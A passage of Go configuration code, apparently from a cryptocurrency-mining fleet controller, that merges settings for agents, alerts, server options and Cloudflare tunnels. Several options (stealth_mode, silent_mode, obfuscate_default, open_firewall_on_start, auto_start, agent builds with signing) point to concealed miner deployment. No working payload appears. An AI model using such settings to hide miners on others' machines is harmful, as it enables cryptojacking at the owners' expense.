if in(daKeys, "install_relative_path") && src.DefaultAgent.InstallRelativePath != "" {
|
|
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
|
}
|
|
if in(daKeys, "adapt_to_hardware") {
|
|
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
|
}
|
|
if in(daKeys, "self_healing") {
|
|
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
|
}
|
|
if in(daKeys, "file_logging") {
|
|
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
|
}
|
|
if in(daKeys, "stealth_mode") {
|
|
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
|
}
|
|
}
|
|
|
|
if has("background") {
|
|
bgKeys := nestedJSONKeys(present, "background")
|
|
if in(bgKeys, "silent_mode") {
|
|
dst.Background.SilentMode = src.Background.SilentMode
|
|
}
|
|
if in(bgKeys, "run_as") && src.Background.RunAs != "" {
|
|
dst.Background.RunAs = src.Background.RunAs
|
|
}
|
|
if in(bgKeys, "auto_start") {
|
|
dst.Background.AutoStart = src.Background.AutoStart
|
|
}
|
|
}
|
|
|
|
if has("alerts") {
|
|
alertKeys := nestedJSONKeys(present, "alerts")
|
|
if in(alertKeys, "offline_threshold_minutes") && src.Alerts.OfflineThresholdMinutes != 0 {
|
|
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
|
}
|
|
if in(alertKeys, "hashrate_drop_threshold_pct") && src.Alerts.HashrateDropThresholdPct != 0 {
|
|
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
|
|
}
|
|
if in(alertKeys, "rejection_rate_threshold_pct") && src.Alerts.RejectionRateThresholdPct != 0 {
|
|
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
|
}
|
|
if in(alertKeys, "telegram_bot_token") && src.Alerts.TelegramBotToken != "" {
|
|
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
|
|
}
|
|
if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" {
|
|
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
|
}
|
|
if in(alertKeys, "webhook_url") && src.Alerts.WebhookURL != "" {
|
|
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
|
|
}
|
|
if in(alertKeys, "email_enabled") {
|
|
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
|
}
|
|
if in(alertKeys, "notify_agent_connect") {
|
|
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
|
|
}
|
|
if in(alertKeys, "notify_agent_reconnect") {
|
|
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
|
|
}
|
|
if in(alertKeys, "notify_agent_offline") {
|
|
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
|
|
}
|
|
if in(alertKeys, "notify_hashrate_drop") {
|
|
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
|
|
}
|
|
if in(alertKeys, "notify_rejection_rate") {
|
|
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
|
|
}
|
|
if in(alertKeys, "notify_build_complete") {
|
|
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
|
|
}
|
|
if in(alertKeys, "notify_kev_exposure") {
|
|
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
|
|
}
|
|
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
|
|
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
|
}
|
|
if in(alertKeys, "smtp_port") && src.Alerts.SMTPPort != 0 {
|
|
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
|
|
}
|
|
if in(alertKeys, "smtp_user") && src.Alerts.SMTPUser != "" {
|
|
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
|
|
}
|
|
if in(alertKeys, "smtp_password") && src.Alerts.SMTPPassword != "" {
|
|
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
|
|
}
|
|
if in(alertKeys, "email_to") && src.Alerts.EmailTo != "" {
|
|
dst.Alerts.EmailTo = src.Alerts.EmailTo
|
|
}
|
|
if in(alertKeys, "email_from") && src.Alerts.EmailFrom != "" {
|
|
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
|
|
}
|
|
}
|
|
|
|
if has("server") {
|
|
srvKeys := nestedJSONKeys(present, "server")
|
|
if in(srvKeys, "public_url") {
|
|
dst.Server.PublicURL = src.Server.PublicURL
|
|
}
|
|
if in(srvKeys, "stats_retention_hours") && src.Server.StatsRetentionHours != 0 {
|
|
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
|
|
}
|
|
if in(srvKeys, "build_retention_days") && src.Server.BuildRetentionDays != 0 {
|
|
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
|
|
}
|
|
if in(srvKeys, "pool_reconnect_seconds") && src.Server.PoolReconnectSeconds != 0 {
|
|
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
|
|
}
|
|
if in(srvKeys, "websocket_ping_seconds") && src.Server.WebSocketPingSeconds != 0 {
|
|
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
|
|
}
|
|
if in(srvKeys, "max_agents") && src.Server.MaxAgents != 0 {
|
|
dst.Server.MaxAgents = src.Server.MaxAgents
|
|
}
|
|
if in(srvKeys, "max_build_size_mb") && src.Server.MaxBuildSizeMB != 0 {
|
|
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
|
|
}
|
|
if in(srvKeys, "log_agent_connections") {
|
|
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
|
|
}
|
|
if in(srvKeys, "log_share_submissions") {
|
|
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
|
|
}
|
|
if in(srvKeys, "log_pool_traffic") {
|
|
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
|
|
}
|
|
if in(srvKeys, "strict_wallet_validation") {
|
|
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
|
|
}
|
|
if in(srvKeys, "open_firewall_on_start") {
|
|
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
|
}
|
|
if in(srvKeys, "obfuscate_default") {
|
|
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
|
|
}
|
|
if in(srvKeys, "sign_enabled") {
|
|
dst.Server.SignEnabled = src.Server.SignEnabled
|
|
}
|
|
if in(srvKeys, "dashboard_subtitle") && src.Server.DashboardSubtitle != "" {
|
|
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
|
}
|
|
if in(srvKeys, "sign_cert_thumbprint") && src.Server.SignCertThumbprint != "" {
|
|
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
|
|
}
|
|
if in(srvKeys, "sign_tool_path") && src.Server.SignToolPath != "" {
|
|
dst.Server.SignToolPath = src.Server.SignToolPath
|
|
}
|
|
if in(srvKeys, "sign_timestamp_url") && src.Server.SignTimestampURL != "" {
|
|
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
|
}
|
|
if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" {
|
|
dst.Server.FleetSecret = src.Server.FleetSecret
|
|
}
|
|
}
|
|
|
|
if has("tunnel_defaults") {
|
|
tdKeys := nestedJSONKeys(present, "tunnel_defaults")
|
|
if in(tdKeys, "cloudflared_target_url") {
|
|
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
|
|
}
|
|
if in(tdKeys, "cloudflare_tunnel_token") {
|
|
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
|
|
}
|
|
}
|
|
|
|
// Keep cloudflared default aligned with public_url when unset.
|
|
if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" {
|
|
dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL)
|
|
}
|
|
}
|
|
|
|
func (c *Config) Save() error {
|
|
configPath := filepath.Join(c.DataDir, "config.json")
|
|
data, err := json.MarshalIndent(c, "", " ")
|
|
if err != nil {
|
|
return fmt.Errorf("failed to marshal config: %w", err)
|
|
}
|
|
if err := os.WriteFile(configPath, data, 0644); err != nil {
|
|
return err
|
|
}
|
|
c.syncCloudflaredTokenFile()
|
|
return nil
|
|
}
|
|
|
|
func (c *Config) PoolURL() string {
|
|
proto := "stratum+tcp"
|
|
if c.Pool.UseTLS {
|
|
proto = "stratum+ssl"
|
|
}
|
|
return fmt.Sprintf("%s://%s:%d", proto, c.Pool.Host, c.Pool.Port)
|
|
}
|